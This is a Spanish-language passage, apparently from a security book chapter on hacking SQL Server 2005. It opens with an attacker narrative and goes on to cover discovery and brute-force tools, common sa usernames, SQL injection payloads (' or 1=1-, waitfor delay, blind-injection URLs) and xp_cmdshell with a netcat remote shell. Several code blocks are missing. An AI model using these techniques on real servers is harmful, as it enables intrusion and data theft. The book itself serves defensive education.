Cargó su olfateador inalámbrico favorito, Aeropeek, y esperó su golpe de suerte. Cada vez
que aparecía un nuevo cliente inalámbrico, rápidamente rastreaba las máquinas en busca de
oportunidades. Desde el lanzamiento de Windows XP SP2, casi todas las máquinas de Win-
dows tienen la firewall habilitada como opción predeterminada, pero las personas tienen el mal
hábito de agregar excepciones cuando las firewalls les parecen inconvenientes de alguna mane-
ra. La fortuna le sonrió.
Con el tiempo encontró una laptop con el puerto TCP 1433 escuchando y comunicándose en
un canal cifrado (tal vez una VPN) para todas las comunicaciones, de modo que no podía ver lo
que estaba explorando. Un SQL Server en escucha en una laptop por lo general significa una de
dos cosas: es un desarrollador o un vendedor con una base de datos de ventas local. De inmedia-
to lanzó sqlcmd (un cliente de SQL Server de línea de comandos) y trató de conectarse usando
autentificación de SQL como el usuario sa sin contraseña.
No había mención de que este usuario no estuviera asociado con una conexión SQL Server
de confianza. ¡Excelente! Estaba tratando con un SQL Server en el modo de autentificación de
SQL, lo que significa que podía hacer un ataque de fuerza bruta para tratar de ganar acceso. Rá-
pidamente cargó SQLPing3, señaló a la dirección IP de destino y cargó su lista de contraseñas
favorita. Se aseguró de agregar unos cuantos elementos específicos de este destino: nombre de
la compañía, nombre de la oficina regional, terminología de las hipotecas y acrónimos diversos
del sitio Web. En 3 segundos tuvo un acierto: commission era la contraseña. Cada vez estaba más
segura de que éste sería su día de suerte.
Temblando de la emoción, invocó al SQL Server Management Studio (la instancia era SQL
Server 2005) y se conectó a la víctima. Encontró muchas bases de datos, incluida una que parecía
contener pistas de ventas. Rápidamente usó una serie de instrucciones SELECT para descargar
todos los datos a su máquina local, pero su ánimo victorioso se empantanó cuando vio que los
datos tenían más de un año de antigüedad. Al parecer, se trataba de una vieja aplicación cliente-
servidor que ya no se usaba.
Rápidamente, Jade se recuperó y pensó en otra táctica. Debido a que había iniciado sesión
como la cuenta sa y, por tanto, tenía privilegios de administrador en el sistema de SQL Server,
usó el comando xp_cmdshell (por fortuna, estaba habilitado en el servidor) para revisar los
perfiles de usuario en el historial del explorador y las cookies de la manera siguiente:
Después de peinar una abrumadora cantidad de sitios Web que eran un desperdicio de tiem-
po, por último observó uno que destacaba. El sitio era visitado a diario ¡y el URL le llevaba a
creer que había encontrado el portal de ventas! Hora de tirar a matar. Por desgracia, todas las
cookies del portal de ventas habían expirado, o simplemente habría bastado con robar la cookie
e iniciar sesión como este usuario. No había problema; de todos modos, ella siempre tenía mejor
suerte con el asalto directo.
Jade disparó su herramienta favorita de rastreo de aplicaciones, Paros Proxy, de modo que
podía ver claramente los datos simples que iban de un lado a otro a solicitud de ella. Luego con-
figuró su explorador para usar el puerto predeterminado 8080 de Paros Proxy. Jade de inmedia-
to obtuvo la página de ventas del portal. Con sólo ver las solicitudes simples en Paros, podía
saber que se trataba de un servidor de Microsoft que ejecutaba Internet Information Server (IIS,
servidor de información de Internet). Además, las páginas tenían las extensiones .aspx, lo que
implicaba que estaban codificadas en ASP.NET. Dio instrucciones a Paros para que rastreara el
sitio, con lo que seguiría todos los vínculos y presentaría una lista de todas las páginas accesi-
bles. Por desgracia, como el sitio requería autentificación, sólo se encontró la página de inicio.
Sin inmutarse, instruyó a Paros para que realizara un rastreo y éste revisó el servidor du-
rante varios minutos, realizando diligentemente el análisis. Regresó una sola anomalía: una vul-
nerabilidad de “rastreo de huellas de inyección de SQL” en el campo de la contraseña en
la página de inicio. Para validar el hallazgo, trató de iniciar sesión en el sitio con una sola co-
milla como contraseña para ver si el código tras SQL se corrompería.
Username: admin.
Password: '
Estaba en lo correcto, o así parecía. Su primer instinto fue tratar de hacer “cortocircuito” con
la probable consulta detrás de la pantalla de inicio de sesión de modo que pudiera entrar en el
sitio y acceder a la información que necesitaba. Rápidamente, ensambló algún código de explo-
tación e hizo otro intento:
Username: admin
Password: ' or 1=1-
¡Tuvo éxito! Había iniciado sesión directamente en el portal de ventas y rápidamente empezó
a buscar los datos que necesitaba. Sin embargo, después de unos cuantos minutos resultó obvio
que su búsqueda apenas había empezado. El portal de ventas sólo mostraba pistas de los últimos
tres meses. La interfaz no permitía al usuario ver pistas más antiguas, tal vez dejando esto a al-
guna herramienta de archivado o almacén de datos. Sin preocuparse, se dio cuenta de que había
una manera de obtener todos los datos omitiendo por completo la interfaz del portal.
Jade se conectó a un sistema remoto que ella controlaba y que estaba conectado a Internet
(una débil conexión inalámbrica no bastaría). Cargó una herramienta denominada Absinthe,
que le permitiría extraer todos los datos de la base de datos (suponiendo que la cuenta de SQL
tuviera esos derechos) empleando inyección ciega de SQL. Absinthe identificó rápidamente la
versión como SQL Server 2005 y empezó el proceso de descargar toda la base de datos. Jade fue
cuidadosa de descargar los datos sin ser percibida, al coordinar sus explotaciones de Absinthe
con periodos de tráfico pico, como inicios de sesión matutinos y otras actividades cotidianas,
para no llamar la atención de ningún analista de seguridad de red.
La descarga tomaría horas o días en completarse, pero al final tenía confianza de que termi-
naría otro trabajo antes de la fecha límite. Sonrió con gusto mientras cerraba su laptop y salía del
edificio para tomar un taxi.
Bibliotecas de red
Las bibliotecas de red (netlibs) son los mecanismos mediante los cuales los clientes y servidores de
SQL intercambian paquetes de datos. Una instancia de SQL Server puede soportar varias netlibs
escuchando al mismo tiempo y desde SQL Server 2000 soporta varias instancias de SQL Server
a la vez (todas escuchando en diferentes netlibs). Como opción predeterminada, TCP/IP está
habilitado y escuchando a todas las instalaciones de SQL Server 2005, excepto la Express Edi-
tion, en que sólo está habilitada la biblioteca de red de memoria compartida. Esto significa que
la instalación típica de SQL Server puede detectarse fácilmente con un rastreo del puerto prede-
terminado TCP 1433.
Entre las netlibs a las que da soporte SQL Server 2005 se incluyen las siguientes:
• TCP/IP
• Canalizaciones con nombre
• Memoria compartida (sólo servidor local)
• Arquitectura de interfaz virtual SAN
Modos de seguridad
SQL Server tiene dos modos de seguridad:
En el modo de autentificación de SQL Server y Windows, los usuarios también pueden au-
tentificarse por el par nombre de usuario/contraseña con las credenciales almacenadas dentro
del propio SQL Server. Aunque éste ya no es el modo de seguridad predeterminado, aún es un
modo común debido a la simplicidad del modelo de seguridad y al hecho de que muchos desa-
rrolladores Web lo encuentran más fácil de codificar que preocuparse por las complejidades de
la autentificación de Windows.
Para conectarse a un servidor SQL empleando inicios de sesión nativos, use la siguiente ca-
dena de conexión de ejemplo si está utilizando el proveedor OLE DB para SQL Server.
Inicios de sesión
En el mundo de SQL Server, un inicio de sesión es una cuenta que le da acceso al propio servi-
dor. Todos los inicios de sesión de SQL Server se mantienen en la tabla sysxlogins (que sólo
está disponible a través de la vista syslogins de SQL 2005) en la base de datos master. Aunque se
utilice autentificación de Windows, se almacena un identificador de seguridad (SID, Security
ID) para el acceso otorgado al usuario o el grupo. En el caso de inicios de sesión nativos de SQL
Server, se genera un identificador globalmente único (GUID, Globally Unique ID) de 16 bytes y
se coloca en la columna SID. Las contraseñas para las cuentas nativas de SQL Server se almace-
nan en esta tabla en forma cifrada.
Con SQL Server 2005 instalado en Windows Server 2003, Microsoft agregó la capacidad de
cuentas de inicio de sesión de SQL para tener bloqueos, complejidad de contraseñas y venci-
miento de éstas.
Se trata de un gran avance y ayuda a mitigar algunas de las debilidades inherentes en el mo-
delo de seguridad de inicio de sesión de SQL Server.
Usuarios
Un usuario es un tipo separado de cuenta que está vinculada a un inicio de sesión determinado
y que se usa para denotar el acceso a una base de datos determinada. Los usuarios están almace-
nados en bases de datos individuales en la tabla sysusers (implementada como una vista en SQL
Server 2005). Sólo los usuarios tienen acceso asignado a objetos de base de datos. No hay contra-
señas almacenadas en la tabla sysusers, porque los usuarios no se autentifican como inicios
de sesión. A los usuarios simplemente se les asigna un inicio de sesión, de modo que ya ha ocu-
rrido la autentificación.
Funciones
Como algo conveniente para los administradores y como una característica de seguridad, pue-
den asignarse usuarios e inicios de sesión a funciones fijas o definidas por el usuario de base de
datos para evitar que tengan que administrar el control de acceso de manera individual y tam-
bién para particionar privilegios especiales. Las funciones se desglosan de la siguiente manera:
Registro
Por desgracia, de manera tradicional el registro de autentificación en SQL Server ha sido
relativamente débil. Ahora se habilita la auditoría de inicios de sesión como opción predetermi-
nada en SQL Server 2005, pero una vez que se ha habilitado sólo registra el hecho de que ocu-
rrió una falla en el inicio de sesión de una cuenta determinada. No se proporciona información
avanzada acerca de la aplicación de origen, nombre de host o biblioteca de red, ni otra informa-
ción que sería útil para determinar desde dónde se está lanzando un ataque. Sin embargo, a
partir de SQL Server 2005, se ha registrado la dirección IP del host remoto que falló al iniciar
sesión. En la figura 9-1 se presenta un ejemplo de los datos registrados durante un ataque de
fuerza bruta.
Figura 9-1 Registro de errores de SQL Server durante un ataque de fuerza bruta
SQL Server incluye una característica de registro C2. Por desgracia, el registro C2 aún no
proporciona detalles de red de un posible atacante, pero tiene la capacidad de registrar los deta-
lles de los cambios de datos dentro de SQL Server. Si tiene una buena cantidad de espacio en
disco y puede mantener este nivel de información (y es mucha información), la auditoría de C2
puede habilitarse utilizando el siguiente comando en Transact-SQL (T-SQL):
Cambios Comentarios
Asignación de Permite a los desarrolladores cambiar de contexto
personalidad en T-SQL conexiones existentes para lograr el menor de los
privilegios utilizando las instrucciones EXECUTE AS y
SETUSER.
Herramienta de Permite a los administradores deshabilitar servicios no
configuración de utilizados, bibliotecas de red y características que podrían
superficie utilizarse, de otra manera, como vectores de ataque.
Desencadenadores de Permite a los administradores colocar desencadenadores
DDL en comandos de lenguaje de definición de datos como
ALTER TABLE que pueden usarse para registro o para
evitar un ataque en objetos de base de datos.
Asignación de Permite adjuntar código de SQL a recursos remotos
credenciales de usuario utilizando credenciales diferentes de las del contexto de
de Windows servicio de SQL Server, lo que ayuda a lograr el objetivo
de asignar la menor cantidad de privilegios.
Infraestructura de Funciones de cifrado integradas y administración de
cifrado nativa claves para ayudar a los desarrolladores a asegurar datos
privados.
Visibilidad limitada de Los usuarios de SQL Server sólo pueden ver metadatos
metadatos para tablas y otros objetos de base de datos a los que se les
ha otorgado acceso.
Con la retroalimentación apropiada, Microsoft puede corregir cualquier problema restante. Siéntase
Nota
libre de escribir a la compañía en relación con cualquier problema extraordinario a sqlwish@
microsoft.com.
seguridad de SQL Server y lo que podemos hacer para proteger nuestros recursos más valiosos.
¡Esta sección debe servirle como una llamada para despertarle!
No importa lo bueno que sea como desarrollador, ni cuántos años lleve administrando ser-
vidores de Microsoft, invariablemente necesitará ayuda en algún momento. Es probable que el
primer lugar al que vaya para obtener parte de la ayuda (antes de que empiece a saturar al per-
sonal de soporte de Microsoft) son los grupos de noticias. Al pedir ayuda a otros, podría estar
divulgando detalles valiosos acerca de los tipos de tecnologías usadas en casa, los niveles de ha-
bilidad de las personas que las utilizan y posiblemente detalles de seguridad como cadenas de
conexión de objetos de datos de ActiveX (ADO, ActiveX Data Objects) o configuraciones del
modo de seguridad de SQL Server.
Hackeo de Google
Popularidad: 7
Simplicidad: 8
Impacto: 6
Clasificación de riesgo: 7
Un lugar común para encontrar estos detalles son los motores de búsqueda y depósitos de
grupos de noticias como www.google.com, donde puede realizar búsquedas detalladas sobre
posibles destinos. Una táctica común consiste en identificar todos los mensajes publicados por
usuarios con un nombre de dominio específico, y luego concentrarse en artículos que, al parecer,
contienen información técnica detallada acerca de los tipos de base de datos, configuraciones de
seguridad o problemas de seguridad específicos de la aplicación.
Si alguien de su empresa ha hecho una publicación en un grupo de noticias relacionada con
SQL Server, debe sacarla a la luz. Eche un vistazo al mensaje y vea qué tipo de información está
flotando ante la vista de posibles atacantes.
Nota No estamos desalentando a nadie para que use los grupos de noticias o los foros de ayuda o ni
estamos diciéndole que le tema a Google, pero debe tomar en consideración que cualquier cosa que
publique podría existir por siempre y cualquier persona podría verlo en cualquier momento. El
conocimiento puede utilizarse para hacer el bien o el mal. Suponga que todo el contenido de sus
servidores Web de acceso anónimo es legible para los demás. No sólo porque dude que alguien se
vincule al contenido no significa que está a salvo.
Rastreo de puertos
Popularidad: 10
Simplicidad: 10
Impacto: 6
Clasificación de riesgo: 8
El rastreo de puertos se ha vuelto tan común que casi ningún administrador de seguridad tie-
ne el tiempo ni la inclinación a investigar cada rastreo de puertos que aparece en los registros de la
firewall. Por fortuna, si ésta se encuentra configurada apropiadamente, un rastreo de puertos ren-
dirá pocos frutos para el atacante. Sin embargo, en muchos casos, los administradores de seguri-
dad dejarán abiertos puertos de SQL Server para desarrolladores o empleados remotos que acceden
a las bases de datos relacionales del cliente. Este error trágico puede ser una ventaja para los aspi-
rantes a hackers de SQL Server, y puede apostar hasta su último dólar que lo están buscando.
Un rastreo de SQL Server empieza con un barrido de todas las direcciones IP asignadas a la
víctima en el puerto TCP 1433. Se trata del puerto de escucha predeterminado de un servidor
SQL que escucha en las bibliotecas de red de conexiones TCP/IP, y suele ser una prueba positiva
de una instalación de SQL Server, porque esta netlib está instalada como opción predeterminada
en casi todas las ediciones de SQL Server. Si ve barridos del puerto 1433 en sus registros del en-
rutador externo o la firewall, puede apostar a que alguien está tratando de localizar servidores
de SQL en su organización.
sugerencia
Debe tomarse en cuenta que desde Windows XP SP2 la Firewall de Windows está habilitada como
opción predeterminada, limitando el número de estaciones de trabajo de desarrollador y otras
instalaciones de bajo perfil expuestas. Sin embargo, como los usuarios pueden crear fácilmente
excepciones para permitir conexiones entrantes de SQL, no debe suponer que no se trata de una
amenaza importante. Active Directory tiene algunas excelentes configuraciones para bloquear
configuraciones de la Firewall de Windows, IPSec, o ambas en equipos de miembros de dominio y
es muy recomendable que estas configuraciones se utilicen para evitar exposición innecesaria.
SQLPing
Popularidad: 8
Simplicidad: 10
Impacto: 5
Clasificación de riesgo: 8
C:\tools>sqlping 192.168.1.255
SQL-Pinging 192.168.1.255
Listening....
ServerName : POPEYE
InstanceName : MSSQLSERVER
IsClustered : No
Version : 8.00.194
np : \\POPEYE\pipe\sql\query
tcp : 1433
ServerName : POPEYE
InstanceName : SQL2005
IsClustered : No
Version : 9.00.2047.00
tcp : 2296
SQLRecon
SQLPing fue una excelente herramienta para encontrar instalaciones de SQL Server 2000, pero
sólo funcionaba en ciertos entornos. ¿Qué pasaba si una firewall estaba bloqueando el UDP
1434? ¿Qué pasaba si SQL Server 2005 estaba instalado y el servicio Explorador de SQL se ha-
llaba deshabilitado? ¿Qué pasaba si el servicio MSSQLServer estaba establecido para inicio
manual y no se ejecutaba en el momento de un rastreo? Todos estos escenarios daban como
resultado falsos negativos. Debido a que estaban disponibles otros medios de detección, Chip
Andrews decidió combinar todos estos métodos en una herramienta llamada SQLRecon (figu-
ra 9-2).
SQLRecon puede detectar servidores de SQL bajo diversas condiciones y estados. Por ejem-
plo, si no le preocupa alertar a los hosts de un rastreo activo, están disponibles los siguientes
métodos de rastreo:
Además, si su rastreo necesita ser un poco más discreto, puede elegir entre dos opciones “de
sigilo” que no se ponen en contacto directo con el host de destino:
• Servicio Explorador
• Active Directory
SQLRecon requiere .NET Framework para su ejecución en el host. No es necesario que esté
instalado en ninguna máquina de destino.
Figura 9-2 SQLRecon usa varios métodos para encontrar los servidores de SQL en la red
SQL Server Management Studio Lanzada con SQL Server 2005, la más nueva herramienta de
cliente de GUI para SQL Server es el SQL Server Management Studio. Es la sucesora de las he-
rramientas Analizador de consultas y Administrador corporativo que existían en versiones an-
teriores de SQL Server.
El uso de esta herramienta se explica por sí solo, pero vale la pena mencionar que una ver-
sión gratuita es probable que la vuelva muy ubicua. La Express Edition del SQL Server Manage-
ment Studio (figura 9-3) puede descargarse directamente de Microsoft. Puede administrar un
motor de base de datos desde cualquier edición de SQL Server 2005 pero no funciona con Analy-
sis Services, Integration Services, Notification Services, Reporting Services, Agente de SQL Ser-
ver o SQL Server 2005 Mobile Edition.
sqlcmd La vida sería demasiado fácil si todo se realizara con las herramientas gráficas de seña-
lar y hacer clic, así que pensamos que debemos mencionar que, sí, la utilería de cliente oficial de
Microsoft SQL incluye una herramienta de línea de comandos llamada sqlcmd.exe. Se descarga
gratuitamente de Microsoft y está localizado en el SQL Server 2005 Feature Pack. Requiere el
Native Client de Microsoft SQL Server Management Studio pero, como tiene suerte, también se
incluye en el Feature Pack
Sqlcmd le permite enviar instrucciones T-SQL, procedimientos almacenados y archivos de
secuencias de comandos a un servidor de destino. Por tanto, para todos los fines y propósitos,
actúa de manera muy parecida a la versión en línea de comandos de Management Studio que
acepta muy bien las secuencias de comandos. Escriba sqlcmd -? en el indicador de comandos
para ver una referencia de sintaxis.
Nota Antes de SQL Server 2005, la herramienta para línea de comandos de SQL Server se llamaba
osql.exe y se incluía en todas las ediciones de SQL Server.
o extremadamente nuevo en el juego. Los atacantes con experiencia pronto encuentran maneras
para automatizar sus explotaciones con el fin de identificar los frutos más fáciles de alcanzar y
obtener rápidamente lo que desean.
Aunque no son tan prolíficas como la gran cantidad de opciones que existen para hackear
Windows Server o IIS, algunas herramientas están diseñadas específicamente para ir tras SQL
Server. Casi todas estas herramientas son lo suficientemente pequeñas para ser excelentes adi-
ciones al juego de herramientas del atacante (o el profesional de la seguridad) cuando se ataca
servidores IIS sin parches. Debido a que muchos de estos servidores actúan como middleware
entre el cliente y el servidor SQL que se espera que incluya una firewall, un servidor IIS compro-
metido es la plataforma de lanzamiento perfecta para un ataque en la madre de todas las con-
quistas Web: los datos. Echemos un vistazo a algunas de las herramientas en existencia para
hackear SQL Server.
SQLPing 3 SQLPing 3 combina las técnicas de rastreo encontradas en SQLRecon con una utile-
ría de rompimiento de contraseñas de SQL Server de fuerza bruta. Es una buena apuesta para
auditar subredes completas de contraseñas de SQL Server en su organización, porque soporta
rangos de IP y listas de IP.
SQLPing 3 ilustra, en la figura 9-4, que casi cualquiera puede atacar servidores SQL expues-
tos sin el más ligero conocimiento de netlibs, cadenas de conexión o software especial de cliente.
El hackeo de SQL es ahora una operación de apuntar y hacer clic, y si uno solo de los servidores
de su organización está expuesto, sólo habrá que esperar a ver cuándo se abre una brecha en ella.
Figura 9-4 SQLPing3 le permite rastrear servidores SQL y realizar ataques de fuerza bruta
SQLPing 3 fue diseñado por profesionales de seguridad con el fin de auditarse a sí mismo (no
como herramienta de hackeo, aunque ciertamente puede utilizarse para este fin).
sqlbf Esta herramienta de descubrimiento de contraseñas de SQL Server de fuerza bruta, de xa-
phan, usa listas de palabras, listas de contraseñas y direcciones IP para ayudar al hacker eficien-
te de SQL a gastar tiempo en tareas más interesantes mientras sus servidores son puestos de
rodillas. Sqlbf también le da al hacker la opción de usar una conexión de canalizaciones con
nombre para su ataque, pero debe tomarse en cuenta que éstas iniciarán una conexión NetBIOS
de Windows y estarán sujetas a registro, además del registro estándar de SQL Server (si está ha-
bilitado). Sqlbf puede utilizarse de la manera siguiente:
C:\>sqlbf
Usage: sqlbf [ODBC NetLib] [IP List] [User list] [Password List]
ODBC NetLib : T - TCP/IP, P - Named Pipes (netBIOS)
IP list - text file containing list of IPs to audit
User list - text file containing list of Usernames
Password List - text file containing list of passwords
Esta herramienta no sólo es útil para romper la contraseña de la cuenta sa, sino que también
puede encontrar otras cuentas que podrían contener privilegios administrativos del sistema y
que podrían estar, de alguna manera, menos protegidas. Tenemos una larga lista de usuarios que
no sólo contiene sa sino también nombres de usuario como prueba, admin, des, sqlagent y otros
nombres comunes que podrían aparecer durante alguna fase del desarrollo y se olvidaron.
Entre algunos de los nombres de cuenta más populares para un servidor de SQL se incluyen
éstos:
• sa
• sql_usuario
• sqlusuario
• sql
• sql-usuario
• usuario
• sql_cuenta
Use su imaginación a partir de este punto. No olvide probar variaciones del nombre de la em-
presa, además de nombres de aplicaciones, si cuenta con esa información. Tome en cuenta que
esta herramienta no funciona con varias instancias, porque sólo pregunta direcciones IP y no
nombres de servidor ni puertos TCP.
sqlpoke Para el aspirante a hacker de SQL Server que prefiere el método de la escopeta, está
sqlpoke, también de xaphan. Esta herramienta no trata de romper las contraseñas de cuentas
sino que busca servidores SQL Server donde la contraseña esté en blanco. Cuando se encuentra
un servidor en que la contraseña de la cuenta sa está en blanco (algo que pasa con una frecuencia
aterradora, por diversas razones), ejecuta una secuencia de comandos predefinida de hasta 32
comandos. Esto permite a un posible atacante premeditar la intrusión para incluir un juego de
herramientas posiblemente de TFTP y ejecutar un caballo de Troya o lo que se desee de manera
masiva.
Tome en cuenta que sqlpoke también da al usuario la capacidad de seleccionar un puerto
personalizado. Además, la herramienta está limitada a rastrear un rango de direcciones IP de
red de clase B, cuando mucho. Esta herramienta debe producir miedo en los corazones de quie-
nes continuamente usan contraseñas de la cuenta sa en blanco, para que no se moleste a los de-
sarrolladores ociosos con preguntas. Podemos imaginar cientos de servidores comprometidos
que son resultado de ejecutar el siguiente ejemplo:
¡Duerma tranquilo!
Páginas Web personalizadas En ocasiones los atacantes preferirán no rastrear directamente des-
de sus máquinas personales, sino aprovechar hosts previamente comprometidos para hacer el
trabajo sucio. Un método para hacer esto consiste en diseñar una página personalizada de Acti-
ve Server Pages (ASP) en un host lo suficientemente comprometido o un servicio libre de host
para realizar el hackeo. La belleza de este método es que el atacante puede realizar penetracio-
nes de otros sistemas mientras hace que el sistema que hospeda a ASP parezca el culpable.
Todo lo que un atacante necesita hacer para preparar este ataque es construir una página
ASP personalizada que invoque los objetos de datos ActiveX (ADO, ActiveX Data Objects) de
Microsoft. Empleando ADO, el atacante puede especificar el tipo de controlador que se usará, el
nombre del usuario, la contraseña e incluso el tipo de netlib requerido para alcanzar el destino.
A menos que el ISP esté realizando algún nivel de filtro de egresos, el servidor en que se está eje-
cutando la página ASP debe iniciar la conexión deseada y proporcionar retroalimentación al
atacante. Una vez que se encuentra un host comprometido, el atacante queda libre de usar co-
mandos para la víctima a través de host convertido en cómplice involuntario.
Para demostrarlo, en la figura 9-5 se muestra un ejemplo de rastreo de SQL Server con ASP,
que usa el siguiente código fuente para rastrear una red interna.
%>\>
<strong> </p>
<p>** End of Analysis ** </strong></p>
</body>
</html>
Sería trivial convertir la secuencia de comandos anterior para que realice ataques de fuerza
bruta o posiblemente ataques de diccionario, al cargar su archivo de diccionario favorito y luego
usar FileSystemObject (bien documentado en la documentación y los ejemplos de IIS) para for-
talecer su juego de herramientas de SQL Server basado en ASP. Observe que, además de netlib,
podemos especificar parámetros como el puerto TCP, de modo que es posible rastrear una má-
quina en busca de diferentes puertos, también. Para forzar otras netlibs, puede reemplazar el
parámetro network= con uno de los siguientes valores de biblioteca de red:
También debe tomarse en cuenta que ASP no es un prerrequisto para este tipo de ataque. El
mismo podría realizarse desde un servidor Apache que ejecute PHP o una secuencia de coman-
dos personalizada de Perl, para el caso.
Lo importante es que las herramientas de cliente de SQL son ligeras y ubicuas. Nunca supon-
ga que las únicas armas de un atacante son las herramientas que se incluyen con SQL Server.
El posible hacker de SQL Server no carece de armas y tecnologías como ayuda para comple-
tar su tarea. Por arriba de todo esto, tenga en cuenta que SQL Server tiene un registro débil (li-
geramente mejorado en SQL 2005 porque ahora sabemos cuál es la dirección IP remota) y aunque
de alguna manera perciba que está ocurriendo un ataque de fuerza bruta en su servidor, los
registros de SQL Server proporcionarán poca información útil. Asegúrese de darse tiempo de
probar estas herramientas contra sus servicios antes de que lo hagan los chicos malos.
Figura 9-5 Una página ASP personalizada rastrea una red en busca de servidores SQL
Figura 9-6 Captura de los paquetes de autentificación de SQL Server que muestra la contraseña a la
que se le aplicó XOR
Hexadecimal A2 B3 92 92
Dígitos intercambiados 2A 3B 29 29
Resultado de XOR 0111 0000 0110 0001 0111 0011 0111 0011
Hexadecimal 70 61 73 73
contraseña
Contraseña p a s s
Como puede ver en la tabla 9-2, una vez que conoce la técnica, la obcecación es poco más que
una molestia. Tenga en cuenta que esta técnica funciona en cualquier netlib que transfiere datos
en la red, siempre y cuando no esté habilitado el cifrado. Cualquier olfateo de contraseñas desde
una transmisión no cifrada puede convertir fácilmente la contraseña en texto simple e iniciar se-
sión en su servidor sin problemas. Si decodificar las contraseñas manualmente es mucho trabajo,
una herramienta gratuita llamada Cain & Abel puede usarse para olfatear las contraseñas de
SQL Server y decodificarlas por usted.
El uso de netlibs cifradas es absolutamente esencial si las contraseñas y los datos se transfe-
rirán en una red y son sujetos de espionaje. Si instala un certificado en el servidor, SQL Server
cifrará automáticamente las contraseñas, aunque no esté usando una netlib cifrada. Si está usan-
do SQL Server 2005 y no ha instalado un certificado, SQL Server creará un certificado autofir-
mado por usted, aunque eso no proporcionará autentificación de servidor ni repudio.
Tabla 9-3 Opciones de cifrado de datos entre servidores y clientes de SQL Server
Si la aplicación está utilizando inicios de sesión nativos de SQL Server, también verá el nom-
bre de usuario y la contraseña. La solución obvia para este problema es asignar nombre a
todos los archivos incluidos con la extensión .asp o .aspx (para servidores IIS) para que sean
sujetos de procesamiento del lado del servidor, como todos los demás archivos y también
eliminar los posibles archivos de copia de seguridad (.bak o .old), posiblemente generados
por editores de texto.
La moraleja de esta historia es que debe suponer que, en algún momento, alguien termi-
nará viendo sus contraseñas. Haga lo que puede para aislar el servidor SQL para que un
develamiento de origen no siempre dé como resultado una brecha completa de seguridad.
Además, debe tomar en consideración el uso de autentificación de Windows para sus co-
nexiones de SQL Server (a pesar de que en algunos casos su configuración es más compleja),
porque eso significa que no se tienen que incluir nombres de usuario ni contraseñas en ca-
denas de conexión.
Los atacantes persistentes probarán los campos numéricos para determinar si también acep-
tarán datos de texto. Los datos de texto no válidos que regresan al servidor de SQL probable-
mente desplegarán un mensaje de error “Sintaxis incorrecta cerca de” o “Nombre de columna
incorrecto” y alertarán al atacante de que tal vez sean posibles explotaciones adicionales. El pe-
ligro de los campos numéricos mal validados recae en el hecho de que no es necesario manipular
comillas simples para inyectar el código. Las instrucciones SQL mal construidas simplemente
adjuntarán el código de un atacante en comandos SQL que serían legítimos y harán magia.
http://localhost/portal-
asp/EditMembers.asp?user_id=1%20waitfor%20delay%20’00:10:100’--
Inyección ciega de SQL Además del análisis temporal, puede usarse un método llamado “inyec-
ción ciega de SQL” para descubrir y develar información. Este método se relaciona con el envío
de solicitudes binarias a SQL Server para que devuelva verdadero (el resultado apropiado) o fal-
so (otro resultado) a una pregunta específica. Por ejemplo, ¿qué pasa si queremos determinar si
la cuenta de usuario de SQL bajo la que se está ejecutando la aplicación tiene permisos dbo? Po-
dríamos utilizar un comando como éste:
http://localhost/portal-asp/EditMembers.asp?user_id=1%20and%20user_
name()='dbo'
Figura 9-7 Paros Proxy hace que el rastreo de seguridad de aplicaciones sea tan simple como
rastrear puertos
En este caso, el atacante está haciendo suposiciones basadas en conjuntos de datos devueltos. En
muchos casos, los desarrolladores traerán de vuelta de la base de datos un número mucho ma-
yor de campos de los que se despliegan o usarán sintaxis más compleja. En estos casos, se requie-
re mayor experiencia en programación en SQL, pero la diligencia con el tiempo dará una aproxi-
mación mayor al código tras la página. Por ejemplo, si el atacante tiene problemas para hacer
que el código inyectado se ejecute, podría estar contra una cadena SQL como la siguiente:
El atacante debe cerrar el paréntesis o su ataque producirá un error de sintaxis desde SQL Ser-
ver. Por supuesto, una estrategia de inyección de SQL común consiste en usar el operador de
comando (--) para convertir en comentario el resto del código SQL. Sin embargo, no funcionará
en este caso, porque el paréntesis abierto ocurrirá antes de la inyección. La única solución real es
cerrar el paréntesis para que el comando SQL se ejecute apropiadamente.
Esto es sólo un ejemplo del desafío que los atacantes enfrentan cuando tratan de inyectar
código en aplicaciones SQL complejas. Por fortuna para los atacantes, casi ningún código SQL
es tan complejo, pero en ciertas situaciones, una buena comprensión de programación T-SQL es
absolutamente crítica para montar un ataque con éxito.
Este código intenta primero hacer cortocircuito con el primer conjunto de resultados al buscar
dos z, y luego utilizar UNION para vaciar los resultados con los datos en que el hacker está inte-
resado.
La selección de los 1 es necesaria para asegurar que el atacante coincide con el número de
columnas en el anterior conjunto de resultados. La característica más interesante de la inyección
de código es el doble guión al final. Como se definió previamente, es necesario para convertir en
comentario la comilla sencilla que podría estar incrustada en la aplicación, rodeando los datos
que el atacante introducirá. Si tiene éxito, ahora sabrá la versión de SQL Server y el estatus del
service pack, junto con la versión del sistema operativo y su correspondiente estatus del service
pack, además del inicio de sesión que está usando para ejecutar sus comandos.
Digamos que, en este caso, el inicio de sesión resulta ser sa (la cuenta de administrador del
sistema). Con privilegios de administrador del sistema, el atacante es libre de ejecutar cualquier
comando en el propio servidor de SQL. Los siguientes fragmentos de código inyectado coloca-
dos en el campo de entrada podrían hacer algo como lo siguiente (suponiendo que xp_cmd
shell está habilitado en SQL Server):
Y luego éste:
En este punto, el atacante está usando el cliente TFTP incluido con Windows para traer la
práctica utilería netcat y obtener una shell remota (jaque mate). No es muy útil analizar más este
ataque, porque el atacante tiene la libertad de importar y ejecutar código en el equipo de destino,
además de acceder todos los datos en SQL Server.
En el ejemplo anterior se supuso que un atacante ganaba acceso con una cuenta de privile-
gios elevados en un servidor de SQL con xp_cmdshell extendido y los procedimientos almace-
nados habilitados. Debido a que los atacantes no siempre tienen tanta suerte, también deben
depender de técnicas más avanzadas que apoyen la capacidad incluso de las cuentas menos pri-
vilegiadas. Una vez que un atacante ha determinado un medio viable de ataque, es probable que
busque diversos objetivos posibles, y necesitamos estar conscientes de ellos. Con toda probabi-
lidad, un atacante estará tras algo de lo siguiente:
Absinthe Para llenar la necesidad de presionar las explotaciones de inyección de SQL, nimmish
y Xeron crearán una herramienta llamada Absinthe (figura 9-8). Esta herramienta no busca vul-
nerabilidades de inyección de SQL; en cambio, explota una vulnerabilidad conocida para ex-
traer información de la base de datos. Hace esto mediante el uso de dos mecanismos: inyección
ciega de SQL y mensajes de error de SQL Server.
El método de inyección ciega de SQL envía varias solicitudes a la aplicación haciendo pre-
guntas binarias, sí/no de SQL Server, especialmente creadas para inyectar código SQL. Este mé-
todo puede llevar mucho tiempo, sobre todo si existe un vínculo lento entre el atacante y la
aplicación Web vulnerable. La ventaja principal de este método es que funcionará aunque
la aplicación suprima los mensajes de error.
